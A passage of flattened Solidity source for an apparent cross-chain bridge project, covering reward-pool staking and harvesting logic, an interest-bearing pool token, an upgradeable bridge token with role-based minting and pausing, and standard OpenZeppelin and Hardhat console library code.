= tokenAddress; // Assign reward debt in full amount of stake (to prevent that existing rewards can be harvested with the new stake share) staker.rewardDebt = (staker.balance * pool.accRewardPerShare) / _DIV_PRECISION; // Update total staked amount in reward pool info rewardPools[tokenAddress].totalStakedAmount = pool.totalStakedAmount + amount; // transfer to-be-staked funds from user to this smart contract _bridgeToken.safeTransferFrom(_msgSender(), address(this), amount); // Mint interest bearing token to user PoolsInterestBearingToken(address(pool.interestBearingToken)).mint(_msgSender(), amount); // funds successfully staked - emit new event emit StakeAdded(_msgSender(), tokenAddress, amount); } /** * @notice Withdraws staked funds (bridge tokens) from the reward pool after harvesting available rewards, if any * * @param tokenAddress the address of the underlying token of the reward pool * @param amount the amount of bridge tokens that should be unstaked * @dev emits event StakeAdded */ function unstake(address tokenAddress, uint256 amount) external whenNotPaused nonReentrant { // get reward pool for the given token RewardPool storage pool = rewardPools[tokenAddress]; // get info about existing stakings in this token by this user (if any) StakerInfo storage staker = stakes[tokenAddress][_msgSender()]; // check input parameters require(amount > 0, 'RewardPools: amount to be unstaked cannot be 0'); require(pool.exists, 'RewardPools: rewardPool does not exist'); require(staker.balance >= amount, 'RewardPools: amount exceeds available balance'); if (staker.balance - amount != 0) { // check if remaining balance is above min stake amount require( staker.balance - amount >= pool.minStakeAmount, 'RewardPools: remaining balance below minimum stake amount' ); } // harvest available rewards before unstaking, if any _harvest(tokenAddress, _msgSender()); // Update staker info staker.stakeUpdateTime = block.timestamp; staker.balance = staker.balance - amount; staker.rewardDebt = (staker.balance * pool.accRewardPerShare) / _DIV_PRECISION; // // determine the reward pool withdrawal fee (usually the default rate) // // if a specific fee rate is stored for this reward pool then we use this rate instead uint256 relativeFee = rewardPoolWithdrawalFees[tokenAddress] > 0 ? rewardPoolWithdrawalFees[tokenAddress] : defaultRewardPoolWithdrawalFee; uint256 withdrFeeAmount = (amount * relativeFee) / 1000000; // burn withdrawal fee if (withdrFeeAmount > 0) { IBridge(_bridgeToken).burn(withdrFeeAmount); } // Burn interest bearing token from user PoolsInterestBearingToken(address(pool.interestBearingToken)).burn(_msgSender(), amount); // transfer bridge tokens back to user _bridgeToken.safeTransfer(_msgSender(), amount - withdrFeeAmount); // funds successfully unstaked - emit new event emit StakeWithdrawn(_msgSender(), tokenAddress, amount - withdrFeeAmount); } /** * @notice Function that is called by the beforeTokenTransfer hook in the PoolsInterestBearingToken to ensure accurate accounting of stakes and rewards * * @dev can only be called by the PoolsInterestBearingToken contract itself * @param tokenAddress the address of the underlying token * @param amount the amount of tokens that was transfered * @param from the sender of the PoolsInterestBearingToken transfer * @param to the recipient of the PoolsInterestBearingToken transfer * @dev emits event InterestBearingTokenTransferred */ function transferInterestBearingTokenHandler( address tokenAddress, uint256 amount, address from, address to ) external override whenNotPaused { // check input parameters require( _msgSender() == address(rewardPools[tokenAddress].interestBearingToken), 'RewardPools: function can only be called by PoolsInterestBearingToken' ); require( tokenAddress != address(0) && from != address(0) && to != address(0), 'RewardPools: invalid address provided' ); require(amount > 0, 'RewardPools: transfer amount cannot be 0'); // get reward pool for given token RewardPool memory pool = rewardPools[tokenAddress]; // get staker info for both sender and receiver of the transfer StakerInfo storage stakerSender = stakes[tokenAddress][from]; StakerInfo storage stakerReceiver = stakes[tokenAddress][to]; // calculate final staking balance of receiver after transfer uint256 receiverFinalBalance = stakerReceiver.balance + amount; // check reward pool requirements and staker balance require(receiverFinalBalance >= pool.minStakeAmount, 'RewardPools: transfer amount too small'); require( pool.maxStakeAmount == 0 || receiverFinalBalance <= pool.maxStakeAmount, 'RewardPools: transfer amount too high' ); require(stakerSender.balance >= amount, 'RewardPools: insufficient balance for transfer'); // as preparation for the transfer, any unharvested rewards need to be harvested so that the sender receives his rewards before the transfer // update the reward pool calculations (e.g. rewardPerShare) updateRewards(tokenAddress); // harvest all outstanding rewards for the sender of the token transfer _harvest(tokenAddress, from); if (stakerReceiver.balance > 0) { _harvest(tokenAddress, to); } // update the time stamps in the staker records stakerSender.stakeUpdateTime = block.timestamp; stakerReceiver.stakeUpdateTime = block.timestamp; // update balances in staker info stakerSender.balance = stakerSender.balance - amount; stakerReceiver.balance = receiverFinalBalance; // calculate the new reward debt for both sender and receiver stakerSender.rewardDebt = (stakerSender.balance * pool.accRewardPerShare) / _DIV_PRECISION; stakerReceiver.rewardDebt = (receiverFinalBalance * pool.accRewardPerShare) / _DIV_PRECISION; emit InterestBearingTokenTransferred(from, tokenAddress, to, amount); } /** * @notice Updates the reward calculations for the given reward pool (e.g. rewardPerShare) * * @param tokenAddress the address of the underlying token */ function updateRewards(address tokenAddress) public whenNotPaused { // check if amount of unharvested rewards is bigger than last reward amount if (rewardPools[tokenAddress].totalRewardAmount > rewardPools[tokenAddress].lastRewardAmount) { // check if reward pool has any staked funds if (rewardPools[tokenAddress].totalStakedAmount > 0) { // calculate new accumulated reward per share // new acc. reward per share = current acc. reward per share + (newly accumulated rewards / totalStakedAmount) rewardPools[tokenAddress].accRewardPerShare = rewardPools[tokenAddress].accRewardPerShare + ((rewardPools[tokenAddress].totalRewardAmount - rewardPools[tokenAddress].lastRewardAmount) * _DIV_PRECISION) / rewardPools[tokenAddress].totalStakedAmount; } // update last reward amount in reward pool rewardPools[tokenAddress].lastRewardAmount = rewardPools[tokenAddress].totalRewardAmount; } } /** * @notice Adds additional rewards to a reward pool (e.g. as additional incentive to provide liquidity to this pool) * * @param token the address of the underlying token of the reward pool (must be an IERC20 contract) * @param amount the amount of additional rewards (in the underlying token) * @dev emits event RewardsAdded */ function addRewards(IERC20 token, uint256 amount) external whenNotPaused nonReentrant { // check input parameters require(address(token) != address(0), 'RewardPools: invalid address provided'); // check if reward pool for given token exists if (!rewardPools[address(token)].exists) { // reward pool does not yet exist - create new reward pool rewardPools[address(token)] = RewardPool({ rewardToken: token, interestBearingToken: new PoolsInterestBearingToken('Cross-Chain Bridge RP LPs', 'BRIDGE-RP', address(token)), minStakeAmount: 1, maxStakeAmount: 0, maxPoolSize: 0, totalStakedAmount: 0, totalRewardAmount: 0, accRewardPerShare: 0, lastRewardAmount: 0, exists: true }); // call setRewardPools in PoolsInterestBearingToken to enable the _beforeTokenTransfer hook to work PoolsInterestBearingToken(address(rewardPools[address(token)].interestBearingToken)).setPoolsContract( address(this) ); } // transfer the additional rewards from the sender to this contract token.safeTransferFrom(_msgSender(), address(this), amount); // Funds that are added to reward pools with totalStakedAmount=0 will be locked forever (as there is no staker to distribute them to) // To avoid "lost" funds we will send these funds to our BuyBackAndBurn contract to burn them instead // As soon as there is one staker in the pool, funds will be distributed across stakers again if (rewardPools[address(token)].totalStakedAmount == 0) { // no stakers - send money to buyBackAndBurnContract to burn token.safeIncreaseAllowance(address(buyBackAndBurnContract), amount); buyBackAndBurnContract.depositERC20(token, amount); } else { // update the total reward amount for this reward pool (add the new rewards) rewardPools[address(token)].totalRewardAmount = rewardPools[address(token)].totalRewardAmount + amount; } // additional rewards added successfully, emit event emit RewardsAdded(address(token), amount); } /** * @notice Distributes unharvested staking rewards * * @param tokenAddress the address of the underlying token of the reward pool * @param stakerAddress the address for which the unharvested rewards should be distributed * @dev emits event RewardsHarvested */ function harvest(address tokenAddress, address stakerAddress) external whenNotPaused nonReentrant { _harvest(tokenAddress, stakerAddress); } /** * @notice Private function that allows calls from other functions despite nonReentrant modifier * https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol */ function _harvest(address tokenAddress, address stakerAddress) private whenNotPaused { // get staker info and check if such a record exists StakerInfo storage staker = stakes[tokenAddress][stakerAddress]; require(staker.balance > 0, 'RewardPools: Staker has a balance of 0'); // update the reward pool calculations (e.g. rewardPerShare) updateRewards(tokenAddress); // calculate reward amount uint256 accumulated = (staker.balance * rewardPools[staker.poolTokenAddress].accRewardPerShare) / _DIV_PRECISION; uint256 rewardAmount = uint256(accumulated - staker.rewardDebt); // Save the current share of the pool as reward debt to prevent a staker from harvesting again (similar to re-entry attack) staker.rewardDebt = accumulated; if (rewardAmount > 0) { // safely transfer the reward amount to the staker address rewardPools[tokenAddress].rewardToken.safeTransfer(stakerAddress, rewardAmount); // successfully harvested, emit event emit RewardsHarvested(stakerAddress, tokenAddress, rewardAmount); } } /** * @notice Provides information about how much unharvested reward is available for a specific stake(r) in a reward pool * * @dev we recommend to call function updateRewards(address tokenAddress) first to update the reward calculations * @param tokenAddress the address of the underlying token of the reward pool * @param stakerAddress the address of the staker for which pending rewards should be returned * @return the unharvested reward amount */ function pendingReward(address tokenAddress, address stakerAddress) external view returns (uint256) { // get reward pool to check rewards for RewardPool memory pool = rewardPools[tokenAddress]; // get staker info and check if such a record exists StakerInfo memory staker = stakes[tokenAddress][stakerAddress]; if (staker.balance == 0) { return 0; } uint256 accRewardPerShare = pool.accRewardPerShare + ((pool.totalRewardAmount - pool.lastRewardAmount) * _DIV_PRECISION) / pool.totalStakedAmount; // calculate the amount of rewards that the sender is eligible for through his/her stake uint256 accumulated = (staker.balance * accRewardPerShare) / _DIV_PRECISION; return uint256(accumulated - staker.rewardDebt); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity 0.8.4; import '@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol'; import '../utils/MyPausable.sol'; interface IPools { function transferInterestBearingTokenHandler( address baseToken, uint256 amount, address from, address to ) external; } /** * @title PoolsInterestBearingToken * The token that users receive in return for staking their bridge tokens in our pools (liquidity mining or reward pools) */ contract PoolsInterestBearingToken is MyPausable, ERC20Burnable { bytes32 public constant MANAGE_POOLS_ROLE = keccak256('MANAGE_POOLS_ROLE'); bytes32 public constant MINTER_ROLE = keccak256('MINTER_ROLE'); bytes32 public constant BURNER_ROLE = keccak256('BURNER_ROLE'); address public baseToken; address public poolsContractAddress; /** * @notice Constructor: Creates a new token * * @param name the name of the new token * @param symbol the symbol (short name) of the new token * @param _baseToken the address of the underlying token of the pool */ constructor( string memory name, string memory symbol, address _baseToken ) ERC20(name, symbol) { require(address(_baseToken) != address(0), 'PoolsInterestBearingToken: invalid base token address provided'); // set up admin roles _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(MANAGE_POOLS_ROLE, _msgSender()); _setupRole(MINTER_ROLE, _msgSender()); _setupRole(BURNER_ROLE, _msgSender()); baseToken = _baseToken; } /** * @notice Mints new tokens and transfers them to the 'to' address * * @param from the address from which the tokens should be burned * @param amount the amount of tokens that should be minted and transferred * @dev emits event Transfer() */ function burn(address from, uint256 amount) external whenNotPaused { require( hasRole(BURNER_ROLE, _msgSender()), 'PoolsInterestBearingToken: must have BURNER_ROLE to execute this function' ); _burn(from, amount); } /** * @notice Mints new tokens and transfers them to the 'to' address * * @param to the address the newly minted tokens should be sent to * @param amount the amount of tokens that should be minted and transfered * @dev emits event Transfer() */ function mint(address to, uint256 amount) external whenNotPaused { require( hasRole(MINTER_ROLE, _msgSender()), 'PoolsInterestBearingToken: must have MINTER_ROLE to execute this function' ); _mint(to, amount); } /** * @notice This function (or hook) is called before every token transfer * (to make sure that the accounting in the respective pools is up-to-date) * * @dev for further information on hooks see https://docs.openzeppelin.com/contracts/3.x/extending-contracts#using-hooks * @param from the address of the sender of the token transfer * @param to the address of the recipient of the token transfer * @param amount the amount of tokens that will be transfered */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual override whenNotPaused { super._beforeTokenTransfer(from, to, amount); // check if this call was triggered by a mint() (in which case from is zero address) or by a transfer if (from != address(0) && to != address(0)) { // token transfer - call handler IPools(poolsContractAddress).transferInterestBearingTokenHandler(baseToken, amount, from, to); } } /** * @notice Sets the address of the pools contract * * @dev can only be called by MANAGE_POOLS_ROLE * @param _poolsContractAddress the address of the pools contract (RewardPools or LiquidityMiningPools) */ function setPoolsContract(address _poolsContractAddress) external { require( hasRole(MANAGE_POOLS_ROLE, _msgSender()), 'PoolsInterestBearingToken: must have MANAGE_POOLS_ROLE to execute this function' ); require(address(_poolsContractAddress) != address(0), 'PoolsInterestBearingToken: invalid pool address provided'); poolsContractAddress = _poolsContractAddress; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.4; import '@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol'; import '../utils/MyPausableUpgradeable.sol'; import 'hardhat/console.sol'; import '../RewardPools.sol'; contract Bridge is ERC20Upgradeable, MyPausableUpgradeable { bytes32 public constant MANAGE_TOKEN_ROLE = keccak256('MANAGE_TOKEN_ROLE'); /** * @notice Initializer instead of constructor to have the contract upgradeable * * @param _totalSupply the total supply of Bridge tokens */ function initialize(uint256 _totalSupply) external initializer { // call parent initializers __MyPausableUpgradeable_init(); __ERC20_init('Cross-Chain Bridge Token', 'BRIDGE'); // set up admin roles _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); // mint total supply to deployer _mint(_msgSender(), _totalSupply); } /** * @notice Mints (creates new) Bridge tokens and sends them to the given address * * @dev can only be called by MANAGE_TOKEN_ROLE * @param to the address of the receiver the tokens should be minted to * @param amount the amount of tokens to be minted * @dev see {ERC20-_burn} * @dev emits event Transfer */ function mint(address to, uint256 amount) external whenNotPaused { require(hasRole(MANAGE_TOKEN_ROLE, _msgSender()), 'Bridge: must have MANAGE_TOKEN_ROLE to mint'); _mint(to, amount); } /** * @notice Burns (destroys) the given amount of Bridge tokens from the caller of the function * * @dev see {ERC20-_burn} * @dev emits event Transfer */ function burn(uint256 amount) external virtual whenNotPaused { _burn(_msgSender(), amount); } /** * @notice Burns (destroys) the given amount of Bridge tokens on behalf of another account * * @dev see {ERC20-_burn} and {ERC20-allowance} * @dev the caller must have allowance for ``accounts``'s tokens * @param from the address that owns the tokens to be burned * @param amount the amount of tokens to be burned * @dev emits event Transfer */ function burnFrom(address from, uint256 amount) external virtual whenNotPaused { // check if burn amount is within allowance require(allowance(from, _msgSender()) >= amount, 'Bridge: burn amount exceeds allowance'); _approve(from, _msgSender(), allowance(from, _msgSender()) - amount); // burn token _burn(from, amount); } /** * @notice This function (or hook) is called before every token transfer * * @dev for further information on hooks see https://docs.openzeppelin.com/contracts/3.x/extending-contracts#using-hooks * @param from the address of the sender of the token transfer * @param to the address of the recipient of the token transfer * @param amount the amount of tokens that will be transferred */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual override whenNotPaused { super._beforeTokenTransfer(from, to, amount); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.4; import '@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol'; import '@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol'; import '@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol'; import '@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol'; /** * @title MyPausableUpgradeable * This contracts introduces pausability,reentrancy guard and access control to all smart contracts that inherit from it */ abstract contract MyPausableUpgradeable is AccessControlUpgradeable, PausableUpgradeable, ReentrancyGuardUpgradeable, UUPSUpgradeable { bytes32 public constant PAUSABILITY_PAUSE_ROLE = keccak256('PAUSABILITY_PAUSE_ROLE'); bytes32 public constant PAUSABILITY_UNPAUSE_ROLE = keccak256('PAUSABILITY_UNPAUSE_ROLE'); bytes32 public constant MANAGE_UPGRADES_ROLE = keccak256('MANAGE_UPGRADES_ROLE'); /** * @notice Initializer instead of constructor to have the contract upgradeable * @dev can only be called once after deployment of the contract */ function __MyPausableUpgradeable_init() internal initializer { // call parent initializers __ReentrancyGuard_init(); __AccessControl_init(); __Pausable_init(); __UUPSUpgradeable_init(); // set up admin roles _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(PAUSABILITY_PAUSE_ROLE, _msgSender()); _setupRole(PAUSABILITY_UNPAUSE_ROLE, _msgSender()); _setupRole(MANAGE_UPGRADES_ROLE, _msgSender()); } /** * @notice This function s required to enable the OpenZeppelin UUPS proxy upgrade pattern * We decided to implement this function here as every other contract inherits from this one * * @dev can only be called by MANAGE_UPGRADES_ROLE */ function _authorizeUpgrade(address) internal view override { require( hasRole(MANAGE_UPGRADES_ROLE, _msgSender()), 'MyPausableUpgradeable: must have MANAGE_UPGRADES_ROLE to execute this function' ); } /** * @notice Pauses all contract functions that have the "whenNotPaused" modifier * * @dev can only be called by PAUSABILITY_ADMIN_ROLE */ function pause() external whenNotPaused { require( hasRole(PAUSABILITY_PAUSE_ROLE, _msgSender()), 'MyPausableUpgradeable: must have PAUSABILITY_PAUSE_ROLE to execute this function' ); PausableUpgradeable._pause(); } /** * @notice Un-pauses/resumes all contract functions that have the "whenNotPaused" modifier * * @dev can only be called by PAUSABILITY_ADMIN_ROLE */ function unpause() external whenPaused { require( hasRole(PAUSABILITY_UNPAUSE_ROLE, _msgSender()), 'MyPausableUpgradeable: must have PAUSABILITY_UNPAUSE_ROLE to execute this function' ); PausableUpgradeable._unpause(); } } // SPDX-License-Identifier: MIT pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", 